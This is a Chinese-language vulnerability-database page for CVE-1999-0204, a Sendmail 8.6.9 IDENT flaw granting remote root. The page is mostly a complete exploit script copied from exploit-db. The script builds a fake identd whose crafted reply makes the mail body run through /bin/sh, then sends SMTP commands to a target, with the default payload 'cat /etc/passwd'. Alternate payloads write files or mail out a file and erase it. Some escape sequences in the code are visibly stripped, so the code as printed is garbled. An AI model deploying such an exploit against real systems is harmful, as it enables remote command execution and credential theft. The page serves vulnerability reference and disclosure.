Sendmail 8.6.9 IDENT远程缓冲区溢出漏洞

Sendmail 8.6.9 IDENT远程缓冲区溢出漏洞

漏洞ID 1105237 漏洞类型 未知
发布时间 1994-02-24 更新时间 2005-05-02
图片[1]-Sendmail 8.6.9 IDENT远程缓冲区溢出漏洞-安全小百科CVE编号 CVE-1999-0204
图片[2]-Sendmail 8.6.9 IDENT远程缓冲区溢出漏洞-安全小百科CNNVD-ID CNNVD-199701-036
漏洞平台 Unix CVSS评分 10.0
|漏洞来源
https://www.exploit-db.com/exploits/20599
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-199701-036
|漏洞详情
Sendmail是一个广为使用的Internet邮件传输程序。8.6.9版本的Sendmail的IDENT功能实现上存在缓冲区溢出漏洞,远程攻击者可以利用此漏洞直接得到主机的root权限。<*链接:http://www.ciac.org/ciac/bulletins/f-13.shtml*>
|漏洞EXP
source: http://www.securityfocus.com/bid/2311/info

A vulnerability in the IDENT function of sendmail 8.6.9 allows attackers to obtain remote root access. Very little other information on this vulnerability is currently available; this is an old vulnerability. 


it for sm869 or worse
# identd must not be enabled (port 113 must be free)

# this must be a host that mail can go to (MX not pointing elsewhere)
# that we cant reach right now (ie. host doesnt exist anymore)
UNREACHABLE="goofy.uhcc.hawaii.edu"

# Commands to run on remote host
COMMANDS="cat /etc/passwd"

# what host to run it on
TARGET="foobar.all.net"

# work in a temp dir
TD=/tmp/.Xwork.$$
mkdir $TD
cd $TD

cat > a.c <<_END_
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

/* run body of mail through shell run as daemon */
#define REPLY "USERID : UNIX : anC:daemonnR"|sed '1,/^$/d'|/bin/sh"nHXxx: "

#ifdef other_possibilities
/* write to a file as daemon */
#define REPLY "USERID : UNIX : anC:daemonnR/tmp/writemenHXxx: "
/* send back a file to someone and erase it */
#define REPLY "USERID : UNIX : anD/tmp/[email protected]: "
#endif

readline(fd, buf, len)
char *buf;
{
    int i = 0;

    while(i < len && read(fd, &buf[i], 1) == 1 && buf[i]) {
       if(buf[i] == 'r' || buf[i] == 'n')
           break;
       i++;
    }
    buf[i] = '';
}

die(str)
char *str;
{
    perror(str); exit(1);
}

main()
{
    int s, s2, adlen;
    struct sockaddr_in ad;
    char buf[60];

    ad.sin_family = AF_INET;
    ad.sin_port = htons(113);
    ad.sin_addr.s_addr = INADDR_ANY;
    if((s = socket(AF_INET, SOCK_STREAM, 0)) < 0) die("socket");
    if(bind(s, (struct sockaddr *)&ad, sizeof(ad)) == -1) die("bind");
    if(listen(s, 1) == -1) die("listen");
    adlen = sizeof(ad);
    s2 = accept(s, (struct sockaddr *)&ad, &adlen);
    if(s2 == -1) die("accept");
    printf("Connection from %s port %dn", 
        inet_ntoa(ad.sin_addr), ntohs(ad.sin_port));
    readline(s2, buf, 50);
    sprintf(buf + strlen(buf), " : %sn", REPLY);
    write(s2, buf, strlen(buf));
}
_END_

# compile program
echo "compiling"
cc a.c -o ident
echo "running fake ident"
./ident &

# send to reomte
echo "talking to remote"
(
  sleep 1; echo "helo"
  sleep 1; echo "mail from: <dan>"
  sleep 1; echo "rcpt to: <bounce@$UNREACHABLE>"
  sleep 1; echo "data"
  echo "$COMMANDS"
  echo "."
  sleep 1; echo "quit"
  sleep 5
) | telnet $TARGET 25

# cleanup
cd /
rm -rf $TD
echo "done."
|参考资料
VulnerablesoftwareandversionsConfiguration1OR*cpe:/a:eric_allman:sendmail:8.6.9*DenotesVulnerableSoftware*ChangesrelatedtovulnerabilityconfigurationsTechnicalDetailsVulnerabilityType(ViewAll)CVEStandardVulnerabilityEntry:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0204

相关推荐: Cisco Catalyst CatOS Authentication Bypass Vulnerability

Cisco Catalyst CatOS Authentication Bypass Vulnerability 漏洞ID 1100502 漏洞类型 Design Error 发布时间 2003-04-24 更新时间 2003-04-24 CVE编号 N/A …

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享